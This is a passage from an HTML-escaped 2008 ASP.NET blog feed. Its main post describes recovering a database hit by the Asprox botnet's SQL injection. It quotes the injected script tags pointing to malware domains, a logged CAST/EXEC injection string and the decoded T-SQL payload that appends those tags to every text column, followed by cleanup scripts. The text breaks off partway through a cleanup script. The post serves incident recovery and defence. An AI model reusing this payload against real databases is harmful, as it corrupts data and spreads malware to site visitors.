&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&lt;/code&gt;
&lt;/blockquote&gt;

&lt;p&gt;And I think that&amp;#39;s about all.&amp;nbsp; Happy programming!&lt;/p&gt;

&lt;p&gt;&amp;nbsp;--Brett &lt;br /&gt;
&lt;/p&gt;
&lt;div class = "shareblock"&gt;&lt;strong&gt;Share this post:&lt;/strong&gt; &lt;a href = "mailto:?body=Thought you might like this: http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx&amp;amp;;subject=GridView+Delete+With+Confirmation" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx&amp;amp;;title=GridView+Delete+With+Confirmation" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx&amp;amp;;phase=2" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx&amp;amp;title=GridView+Delete+With+Confirmation" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx&amp;amp;;title=GridView+Delete+With+Confirmation" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;;mkt=en-us&amp;amp;;url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx&amp;amp;;title=GridView+Delete+With+Confirmation&amp;amp;;top=1" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx"&gt;live it!&lt;/a&gt;&lt;/div&gt;&lt;img src="http://aspadvice.com/aggbug.aspx?PostID=47520" width="1" height="1"&gt;</content><author><name>brettemiller</name><uri>http://aspadvice.com/members/brettemiller.aspx</uri></author><category term="asp.net GridView CommandField Confirmation" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/asp.net+GridView+CommandField+Confirmation/default.aspx" /></entry><entry><title>Asprox Recovery</title><link rel="alternate" type="text/html" href="http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx" /><id>http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx</id><published>2008-06-27T12:52:00Z</published><updated>2008-06-27T12:52:00Z</updated><content type="html">A site we inherited last year included a number of programming shortcuts, including string concatenation of user data for sql selects.  This made the site vulnerable to sql injection attacks.  Surprisingly, over the lifetime of the app (5-7 years?), this vulnerability was not exploited to any significant end (that we know of).
Well, that changed recently.  Beginning around May13, the asprox botnet increased its activity and began large-scale sql injection attacks.  The injection attack aims to inject &amp;lt;script&amp;gt; tags into every text field of the target database.  These script tags point to 3rd party sites and cause vulnerable end user machines to download the botnet executable and continue its mission (phishing, spam, more sql injection?).  The script tags look like the following:
&lt;blockquote&gt;
&lt;code&gt;
&amp;lt;script src=&amp;quot;http://www.advabnr.com/b.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://www.adw95.com/b.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
and a new one beginning June 20:&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://www.pingbnr.com/b.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;
&lt;/blockquote&gt;I fixed the tables that were obviously affected (and paramaterized the relevant asp pages), but I&amp;#39;d been worrying about the extent of the damage to the db and exactly how the injection worked.  &lt;a href="http://www.secureworks.com/research/threats/danmecasprox/?threat=danmecasprox"&gt;SecureWorks.com &lt;/a&gt;has an excellent article describing how the sql injection works.  This article led me to grep our logs for instances of &amp;quot;DECLARE&amp;quot; and I found the relevant injections, e.g.,
&lt;blockquote&gt;
&lt;code&gt;
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x44454...%20AS%20VARCHAR(4000));EXEC(@S);--
&lt;/code&gt;
&lt;/blockquote&gt;
Well, here&amp;#39;s the point of this blog.  If you take the above hex string from the log and &lt;a href="http://www.string-functions.com/hex-string.aspx"&gt;translate&lt;/a&gt; it, you can work out what the attack is trying to accomplish (I&amp;#39;ve commented out the exec() statement for safety):
&lt;blockquote&gt;
&lt;p class="MsoNormal"&gt;&lt;font color="blue" face="Courier New" size="2"&gt;&lt;span style="font-size:10pt;color:blue;font-family:'Courier New';"&gt;DECLARE&lt;/span&gt;&lt;/font&gt;&lt;font face="Courier New" size="2"&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; @T &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;/font&gt;255&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;),&lt;/span&gt;&lt;/font&gt;@C &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;/font&gt;255&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;)&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;DECLARE&lt;/span&gt;&lt;/font&gt; Table_Cursor &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;CURSOR&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;FOR&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;SELECT&lt;/span&gt;&lt;/font&gt; a&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;&lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;name&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt;&lt;/font&gt;b&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;&lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;name&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;FROM&lt;/span&gt;&lt;/font&gt; sysobjects a&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt;&lt;/font&gt;syscolumns b &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;WHERE&lt;/span&gt;&lt;/font&gt; a&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;id&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;/font&gt;b&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;id &lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;AND&lt;/span&gt;&lt;/font&gt; a&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;xtype&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;/font&gt;&lt;font color="red"&gt;&lt;span style="color:red;"&gt;&amp;#39;u&amp;#39;&lt;/span&gt;&lt;/font&gt; &lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;AND&lt;/span&gt;&lt;/font&gt; &lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;/font&gt;b&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;xtype&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;/font&gt;99 &lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;OR&lt;/span&gt;&lt;/font&gt; b&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;xtype&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;/font&gt;35 &lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;OR&lt;/span&gt;&lt;/font&gt; b&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;xtype&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;/font&gt;231 &lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;OR&lt;/span&gt;&lt;/font&gt; b&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;/font&gt;xtype&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;/font&gt;167&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;)&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;OPEN&lt;/span&gt;&lt;/font&gt; Table_Cursor &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;FETCH&lt;/span&gt;&lt;/font&gt; NEXT &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;FROM&lt;/span&gt;&lt;/font&gt; Table_Cursor &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;INTO&lt;/span&gt;&lt;/font&gt; @T&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt;&lt;/font&gt;@C &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;WHILE&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;/font&gt;&lt;font color="fuchsia"&gt;&lt;span style="color:fuchsia;"&gt;@@FETCH_STATUS&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;/font&gt;0&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;)&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;BEGIN&lt;/span&gt;&lt;/font&gt; &lt;font color="green"&gt;&lt;span style="color:green;"&gt;--&lt;/span&gt;&lt;/font&gt;&lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;EXEC&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;/font&gt;&lt;font color="red"&gt;&lt;span style="color:red;"&gt;&amp;#39;UPDATE [&amp;#39;&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;/font&gt;@T&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;/font&gt;&lt;font color="red"&gt;&lt;span style="color:red;"&gt;&amp;#39;] 
SET [&amp;#39;&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;/font&gt;@C&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;/font&gt;&lt;font color="red"&gt;&lt;span style="color:red;"&gt;&amp;#39;]=RTRIM(CONVERT(VARCHAR(4000),[&amp;#39;&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;/font&gt;@C&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;/font&gt;&lt;font color="red"&gt;&lt;span style="color:red;"&gt;&amp;#39;]))+&amp;#39;&amp;#39;&amp;lt;script  src=http://www.pingbnr.com/b.js&amp;gt;&amp;lt;/script&amp;gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;/font&gt;&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;)&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;FETCH&lt;/span&gt;&lt;/font&gt; NEXT &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;FROM&lt;/span&gt;&lt;/font&gt; Table_Cursor &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;INTO&lt;/span&gt;&lt;/font&gt; @T&lt;font color="gray"&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt;&lt;/font&gt;@C &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;/font&gt; &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;CLOSE&lt;/span&gt;&lt;/font&gt; Table_Cursor &lt;font color="blue"&gt;&lt;span style="color:blue;"&gt;DEALLOCATE&lt;/span&gt;&lt;/font&gt; 
Table_Cursor&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;
Using this same bit of dynamic sql, one can then work out the compromised tables in the database and begin recovering:&lt;/p&gt;

&lt;blockquote&gt;
&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; @T &lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;255&lt;span style="color:gray;"&gt;),&lt;/span&gt;@C &lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;255&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;CREATE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;TABLE&lt;/span&gt; #Affected &lt;span style="color:gray;"&gt;(&lt;/span&gt;TableName
&lt;span style="color:blue;"&gt;varchar&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;255&lt;span style="color:gray;"&gt;))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;
Table_Cursor &lt;span style="color:blue;"&gt;CURSOR&lt;/span&gt; &lt;span style="color:blue;"&gt;FOR&lt;/span&gt;
&lt;span style="color:blue;"&gt;SELECT&lt;/span&gt; a&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;span style="color:blue;"&gt;name&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt;b&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;span style="color:blue;"&gt;name&lt;/span&gt; &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; sysobjects a&lt;span style="color:gray;"&gt;,&lt;/span&gt;syscolumns
b &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; a&lt;span style="color:gray;"&gt;.&lt;/span&gt;id&lt;span style="color:gray;"&gt;=&lt;/span&gt;b&lt;span style="color:gray;"&gt;.&lt;/span&gt;id &lt;span style="color:gray;"&gt;AND&lt;/span&gt; a&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;u&amp;#39;&lt;/span&gt; &lt;span style="color:gray;"&gt;AND&lt;/span&gt; &lt;span style="color:gray;"&gt;(&lt;/span&gt;b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;99 &lt;span style="color:gray;"&gt;OR&lt;/span&gt; b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;35 &lt;span style="color:gray;"&gt;OR&lt;/span&gt; b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;231 &lt;span style="color:gray;"&gt;OR&lt;/span&gt; b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;167&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;OPEN&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;
Table_Cursor &lt;span style="color:blue;"&gt;FETCH&lt;/span&gt; NEXT &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; Table_Cursor &lt;span style="color:blue;"&gt;INTO&lt;/span&gt; @T&lt;span style="color:gray;"&gt;,&lt;/span&gt;@C &lt;span style="color:blue;"&gt;WHILE&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:fuchsia;"&gt;@@FETCH_STATUS&lt;/span&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;0&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;BEGIN&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;exec&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;if(exists(select * from [&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;@T&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;] where [&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;@C&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;] like &amp;#39;&amp;#39;%&amp;lt;script%&amp;#39;&amp;#39;)) &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:red;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;insert into #Affected select
TableName=&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';color:gray;"&gt;+&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;@T&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;FETCH&lt;/span&gt; NEXT &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; Table_Cursor &lt;span style="color:blue;"&gt;INTO&lt;/span&gt;
@T&lt;span style="color:gray;"&gt;,&lt;/span&gt;@C &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;END&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;CLOSE&lt;/span&gt; Table_Cursor &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DEALLOCATE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;
Table_Cursor&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;select&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:red;"&gt;&amp;#39;Affected Tables:&amp;#39;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;select&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;distinct&lt;/span&gt; tablename &lt;span style="color:blue;"&gt;from&lt;/span&gt;
#Affected&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DROP&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;TABLE&lt;/span&gt; #Affected&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;/blockquote&gt;

&lt;p&gt;With a bit of clever string manipulation, you can even automate the &amp;quot;fix&amp;quot;: &lt;/p&gt;

&lt;blockquote&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; @T &lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;255&lt;span style="color:gray;"&gt;),&lt;/span&gt;@C &lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;255&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;CREATE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;TABLE&lt;/span&gt; #Affected &lt;span style="color:gray;"&gt;(&lt;/span&gt;TableName
&lt;span style="color:blue;"&gt;varchar&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;255&lt;span style="color:gray;"&gt;))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;insert&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;into&lt;/span&gt; #affected &lt;span style="color:blue;"&gt;select&lt;/span&gt;
TableName &lt;span style="color:gray;"&gt;=&lt;/span&gt; &lt;span style="color:red;"&gt;&amp;#39;table_name1&amp;#39;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;insert&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;into&lt;/span&gt; #affected &lt;span style="color:blue;"&gt;select&lt;/span&gt;
TableName &lt;span style="color:gray;"&gt;=&lt;/span&gt; &lt;span style="color:red;"&gt;&amp;#39;table_name2&amp;#39;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;insert&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;into&lt;/span&gt; #affected &lt;span style="color:blue;"&gt;select&lt;/span&gt;
TableName &lt;span style="color:gray;"&gt;=&lt;/span&gt; &lt;span style="color:red;"&gt;&amp;#39;table_name3&amp;#39;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;
Table_Cursor &lt;span style="color:blue;"&gt;CURSOR&lt;/span&gt; &lt;span style="color:blue;"&gt;FOR&lt;/span&gt;
&lt;span style="color:blue;"&gt;SELECT&lt;/span&gt; a&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;span style="color:blue;"&gt;name&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt;b&lt;span style="color:gray;"&gt;.&lt;/span&gt;&lt;span style="color:blue;"&gt;name&lt;/span&gt; &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; sysobjects a&lt;span style="color:gray;"&gt;,&lt;/span&gt;syscolumns
b &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; a&lt;span style="color:gray;"&gt;.&lt;/span&gt;id&lt;span style="color:gray;"&gt;=&lt;/span&gt;b&lt;span style="color:gray;"&gt;.&lt;/span&gt;id &lt;span style="color:gray;"&gt;AND&lt;/span&gt; a&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;u&amp;#39;&lt;/span&gt; &lt;span style="color:gray;"&gt;AND&lt;/span&gt; &lt;span style="color:gray;"&gt;(&lt;/span&gt;b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;99 &lt;span style="color:gray;"&gt;OR&lt;/span&gt; b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;35 &lt;span style="color:gray;"&gt;OR&lt;/span&gt; b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;231 &lt;span style="color:gray;"&gt;OR&lt;/span&gt; b&lt;span style="color:gray;"&gt;.&lt;/span&gt;xtype&lt;span style="color:gray;"&gt;=&lt;/span&gt;167&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;OPEN&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;
Table_Cursor &lt;span style="color:blue;"&gt;FETCH&lt;/span&gt; NEXT &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; Table_Cursor &lt;span style="color:blue;"&gt;INTO&lt;/span&gt; @T&lt;span style="color:gray;"&gt;,&lt;/span&gt;@C &lt;span style="color:blue;"&gt;WHILE&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:fuchsia;"&gt;@@FETCH_STATUS&lt;/span&gt;&lt;span style="color:gray;"&gt;=&lt;/span&gt;0&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;BEGIN&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;if&lt;/span&gt;&lt;span style="color:gray;"&gt;(exists(&lt;/span&gt;&lt;span style="color:blue;"&gt;select&lt;/span&gt; &lt;span style="color:gray;"&gt;*&lt;/span&gt; &lt;span style="color:blue;"&gt;from&lt;/span&gt; #Affected &lt;span style="color:blue;"&gt;where&lt;/span&gt; TableName &lt;span style="color:gray;"&gt;=&lt;/span&gt; @T&lt;span style="color:gray;"&gt;))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;begin&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

